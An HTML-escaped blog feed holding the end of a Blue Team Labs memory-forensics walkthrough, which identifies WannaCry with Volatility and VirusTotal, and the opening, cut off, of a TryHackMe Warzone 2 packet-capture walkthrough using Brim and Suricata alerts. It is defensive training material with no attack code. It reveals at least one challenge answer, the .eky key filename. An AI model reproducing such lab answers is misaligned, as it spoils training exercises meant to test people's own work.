command:&lt;/p&gt;&#xA;&lt;p&gt;5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6&lt;/p&gt;&#xA;&lt;p&gt;Next, head to &lt;em&gt;VirusTotal,&lt;/em&gt; and input the file hash in the search box. We’ll see immediately that this sample has been analyzed on the platform already and that a majority of vendors have tagged it as malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fe59c9e36f9d81243341f2fb3e7e452f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;653px&#34; data-flex-grow=&#34;272&#34; height=&#34;294&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/fe59c9e36f9d81243341f2fb3e7e452f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, we’re interested in the &lt;em&gt;Family&lt;/em&gt; and &lt;em&gt;Threat Label&lt;/em&gt; tags, identifying this file as part of the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0366/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;WannaCry&lt;/em&gt; ransomware family&lt;/a&gt;. This lines up with the naming similarity we stumbled on earlier in &lt;strong&gt;Question 1&lt;/strong&gt;, which solidifies the findings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d2fca851d116dbcf3d2e678a972ed8fe_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/d2fca851d116dbcf3d2e678a972ed8fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-filename-for-the-file-with-the-ransomware-public-key-that-was-used-to-encrypt-the-private-key-eky-extension&#34;&gt;Question 7: What is the filename for the file with the ransomware public key that was used to encrypt the private key? (.eky extension)&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to the final question, and this one asks us to find the filename of the ransomware public key with the &lt;code&gt;.eky&lt;/code&gt; extension. This is a little outside the usual scope of the challenge, but &lt;code&gt;.eky&lt;/code&gt; isn’t a common file extension. It’s most often associated with the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0366/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;WannaCry&lt;/em&gt;&lt;/a&gt; ransomware family, which fits with what we found in &lt;strong&gt;Question 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, how do we find it? We’ll use another &lt;em&gt;Volatility&lt;/em&gt; module: &lt;code&gt;dumpfiles&lt;/code&gt;. This lets us check other files cached in memory for the PID tied to the malicious process. The command looks similar to the one we use in &lt;strong&gt;Question 6&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f infected.vmem &amp;ndash;profile=Win7SP1x86 dumpfiles &amp;ndash;pid=2732 &amp;ndash;dump-dir OUTPUTDIRECTORY&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5f2633e9b2288e08bc477bfe73e0aba7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;370px&#34; data-flex-grow=&#34;154&#34; height=&#34;518&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/5f2633e9b2288e08bc477bfe73e0aba7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Dumping the associated files for the malicious PID with dumpfiles&lt;/p&gt;&#xA;&lt;p&gt;When we run this command, the associated files dump to the specified directory, and the listing also prints to the console. From that output, we see the first two lines contain the filename &lt;code&gt;00000000.eky&lt;/code&gt;. That’s the &lt;em&gt;key&lt;/em&gt; file we need to wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b19f203fd04d6953cacda1b834d3adae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1361px&#34; data-flex-grow=&#34;567&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/b19f203fd04d6953cacda1b834d3adae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;c0dd8c7acc0e5758e6c798ff7a37919e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;324px&#34; data-flex-grow=&#34;135&#34; height=&#34;591&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/c0dd8c7acc0e5758e6c798ff7a37919e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that? A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt; for putting together another solid challenge.&lt;/p&gt;&#xA;&lt;p&gt;This investigation was a breezy introduction to &lt;em&gt;Volatility&lt;/em&gt; and ransomware behavior. It’s a great example of how memory analysis can reveal the full scope of an attack — from identifying suspicious processes with &lt;code&gt;psscan&lt;/code&gt;, to extracting binaries with &lt;code&gt;procdump&lt;/code&gt;, and finally confirming the ransomware family via threat intelligence — even when disk artifacts aren&amp;rsquo;t available.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to sharpen my incident response workflow and get reacquainted with &lt;em&gt;Volatility&lt;/em&gt;, especially in scenarios where ransomware is involved. The investigation pushed me to pivot between modules, apply threat intelligence, do some research about this ransomware, and yes — &lt;em&gt;stumble&lt;/em&gt; across clues like the &lt;code&gt;.eky&lt;/code&gt; file. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-memory-analysis-ransomware-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://volatilityfoundation.org/the-volatility-framework/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://volatilityfoundation.org/the-volatility-framework/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility — Command Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#psscan&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#psscan&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — WannaCry (S0366):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0366/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0366/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Warzone 2 Room Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/</link>
            <pubDate>Sun, 19 Oct 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/5ffddce88b37c3ca1e78c641dcfee3fd_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Warzone 2 Room Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmewarzone-2-room-walkthrough&#34;&gt;TryHackMe — Warzone 2 Room Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-second-network-packet-capture-investigation-using-brimzui-network-miner-and-virustotal&#34;&gt;A Second Network Packet Capture Investigation Using Brim/Zui, Network Miner, and VirusTotal.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;5ffddce88b37c3ca1e78c641dcfee3fd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/5ffddce88b37c3ca1e78c641dcfee3fd_MD5.png&#34; width=&#34;320&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/warzonetwo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/warzonetwo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/warzonetwo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Warzone 2&lt;/strong&gt;&lt;/a&gt; room from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. This challenge is the second in a series of fantastic rooms aimed at introducing you to forensic network packet analysis using some lesser-known tools.&lt;/p&gt;&#xA;&lt;p&gt;If you want to follow along in order, you can start with the &lt;strong&gt;Warzone 1&lt;/strong&gt; room first:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe — Warzone 1 Room Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You work as a Tier 1 Security Analyst L1 for a Managed Security Service Provider (MSSP). Again, you’re tasked with monitoring network alerts.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An alert triggered: &lt;strong&gt;Misc activity&lt;/strong&gt;, &lt;strong&gt;A Network Trojan Was Detected&lt;/strong&gt;, and &lt;strong&gt;Potential Corporate Privacy Violation&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The case was assigned to you. Inspect the PCAP and retrieve the artifacts to confirm this alert is a true positive.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this challenge, we’re stepping back into the shoes of a Security Analyst at an MSSP, monitoring network traffic alerts for one of your customers when suddenly, an alert fires from their IDS/IPS. We’re given a network packet capture file, a PCAP, and need to quickly determine if this is a true positive by analyzing the artifacts within the traffic.&lt;/p&gt;&#xA;&lt;p&gt;Now that you’ve already got some experience, you might guess what’s in our toolkit for this investigation. We’ll be busting out &lt;a class=&#34;link&#34; href=&#34;https://zui.brimdata.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brim&lt;/strong&gt;&lt;/a&gt; again to process, search, and analyze the PCAP, and then pivoting to &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Network Miner&lt;/strong&gt;&lt;/a&gt; for a file analysis. We’ll also enrich our findings by consulting &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to add context to any indicators of compromise (IOCs) we discover.&lt;/p&gt;&#xA;&lt;p&gt;I’ll walk through each step clearly, and avoid spoiling the answer. By the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-was-the-alert-signature-fora-network-trojan-was-detected&#34;&gt;Question 1: What was the alert signature for &lt;strong&gt;A Network Trojan was Detected&lt;/strong&gt;?&#xA;&lt;/h3&gt;&lt;p&gt;Once in our analysis environment, let’s get acquainted with our toolset so we can start forming a plan. You’ll find everything we need in the &lt;code&gt;Tools&lt;/code&gt; folder on the Desktop.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bd8c075de519e4927b81833eaf017f6f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;290px&#34; data-flex-grow=&#34;121&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/bd8c075de519e4927b81833eaf017f6f_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of the Tools Folder&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we’re searching for an alert signature. So, our first stop will be to use &lt;strong&gt;Brim&lt;/strong&gt; (&lt;a class=&#34;link&#34; href=&#34;https://www.brimdata.io/blog/brim-app-will-be-zui/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;now called &lt;strong&gt;Zui&lt;/strong&gt;&lt;/a&gt;) because it has the ability to use &lt;a class=&#34;link&#34; href=&#34;https://zui.brimdata.io/docs/features/Packet-Captures#local-suricata-rules-folder&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Suricata&lt;/strong&gt;&lt;/a&gt; intrusion detection rules to help quickly identify threats or malicious traffic within the packet capture.&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and launch it — and speaking of packet captures, once &lt;em&gt;Brim&lt;/em&gt; is open, load the challenge file &lt;code&gt;Zone2.pcap&lt;/code&gt; , and wait for it to process the capture file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c8fb4ad5c82c5a72ed56a3e172e0ed8c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/c8fb4ad5c82c5a72ed56a3e172e0ed8c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Loading Zone2.pcap&lt;/p&gt;&#xA;&lt;p&gt;Once the file is loaded, let’s get an overview of the &lt;em&gt;Suricata&lt;/em&gt; rule hits detected in the network traffic. Select the &lt;code&gt;Zone2.pcap&lt;/code&gt; file, click &lt;em&gt;Suricata Alerts by Category&lt;/em&gt; under the &lt;em&gt;Queries&lt;/em&gt; header, and review the displayed alert categories.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;26a94106cfff67b5ec8ed5315cbc73f3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/26a94106cfff67b5ec8ed5315cbc73f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Overview of Suricata Alerts by Category&lt;/p&gt;&#xA;&lt;p&gt;We’re going to focus on &lt;em&gt;a Network Trojan was detected&lt;/em&gt; since that’s what the question is asking about. Our next step is to find the &lt;em&gt;alert signature&lt;/em&gt; for this category.&lt;/p&gt;&#xA;&lt;p&gt;To do this, right-click the &lt;em&gt;a Network Trojan was detected&lt;/em&gt; row and select &lt;em&gt;New search with this value&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b5fe2d4b7af3bbf52a230b29461c72c0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/b5fe2d4b7af3bbf52a230b29461c72c0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Selecting New search with the &lt;em&gt;a Network Trojan was detected&lt;/em&gt; value.&lt;/p&gt;&#xA;&lt;p&gt;This selection adjusts the query to display packets matching the &lt;em&gt;Suricata&lt;/em&gt; rule — and more importantly, it reveals the details we need to answer &lt;strong&gt;Question 1&lt;/strong&gt; under the &lt;code&gt;alert.signature&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d568d5c213f6958dd58b828f468e5e8e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/d568d5c213f6958dd58b828f468e5e8e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the alert signature&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;97901290934066f07db31a1c555c723d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/97901290934066f07db31a1c555c723d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-was-the-alert-signature-forpotential-corporate-privacy-violation&#34;&gt;Question 2: What was the alert signature for &lt;strong&gt;Potential Corporate Privacy Violation&lt;/strong&gt;?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to determine the alert signature for a second alert category: &lt;em&gt;Potential Corporate Privacy Violation&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For this, we’ll simply perform the same process we used in &lt;strong&gt;Question 1&lt;/strong&gt; — select &lt;em&gt;New search with this value&lt;/em&gt; for the &lt;em&gt;Potential Corporate Privacy Violation&lt;/em&gt; category.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;28114d8aacc3b82a11c849ef125f22b6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/28114d8aacc3b82a11c849ef125f22b6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Selecting New search with the &lt;em&gt;a&lt;/em&gt; Potential Corporate Privacy Violation value.&lt;/p&gt;&#xA;&lt;p&gt;This time, we’ll see a different &lt;code&gt;alert.signature&lt;/code&gt; value compared to &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;501f2efc5ed4157759c8e5a453a55c53_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/501f2efc5ed4157759c8e5a453a55c53_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the alert signature.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3c620ff82d215602bbf28594f98a6406_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/3c620ff82d215602bbf28594f98a6406_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-was-the-ip-to-trigger-either-alert-enter-your-answer-in-adefangedformat&#34;&gt;Question 3: What was the IP to trigger either alert? Enter your answer in a &lt;strong&gt;defanged&lt;/strong&gt; format.&#xA;&lt;/h3&gt;&lt;p&gt;Answering &lt;strong&gt;Question 3&lt;/strong&gt; requires us to determine the IP address that triggered either alert. The wording is a bit confusing, but we’re looking for the source IP address (&lt;code&gt;src_ip&lt;/code&gt;) associated with the HTTP file download. Either alert will display the same information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;44693b3d8fdaa55b516c832a39d0ada6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/44693b3d8fdaa55b516c832a39d0ada6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the source IP of the alert&lt;/p&gt;&#xA;&lt;p&gt;Before we can submit the answer, we need to &lt;em&gt;defang&lt;/em&gt; the IP address. This is a common practice to ensure that malicious IPs and URLs aren’t accidentally clicked or activated. While this is easy to do manually, let’s work a little smarter and use &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; for the task.&lt;/p&gt;&#xA;&lt;p&gt;The offline version of &lt;em&gt;CyberChef&lt;/em&gt; is included in the &lt;code&gt;Tools&lt;/code&gt; folder, but the &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;online&lt;/a&gt; version works just as well. To defang the source IP address:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open &lt;em&gt;CyberChef.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;em&gt;Defang IP Addresses&lt;/em&gt; operation.&lt;/li&gt;&#xA;&lt;li&gt;Paste the source IP address into the &lt;em&gt;Input&lt;/em&gt; field.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;And voilà — we have the defanged IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9020186d64426a2c0e707e34f3392d33_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/9020186d64426a2c0e707e34f3392d33_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-provide-the-full-uri-for-the-malicious-downloaded-file-in-your-answerdefangtheuri&#34;&gt;Question 4: Provide the full URI for the malicious downloaded file. In your answer, &lt;strong&gt;defang&lt;/strong&gt; the URI.&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified a suspicious IP address, we can pivot our search and focus on that address. To do this, simply open a new tab in &lt;strong&gt;Brim&lt;/strong&gt; and enter the IP address to view the results.&lt;/p&gt;&#xA;&lt;p&gt;Without any additional filtering, you’ll see that the first result with the &lt;em&gt;notice&lt;/em&gt; label contains the full URL of a downloaded &lt;code&gt;.cab&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bc86d2fc303f02625b5d2bd8cb952469_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; 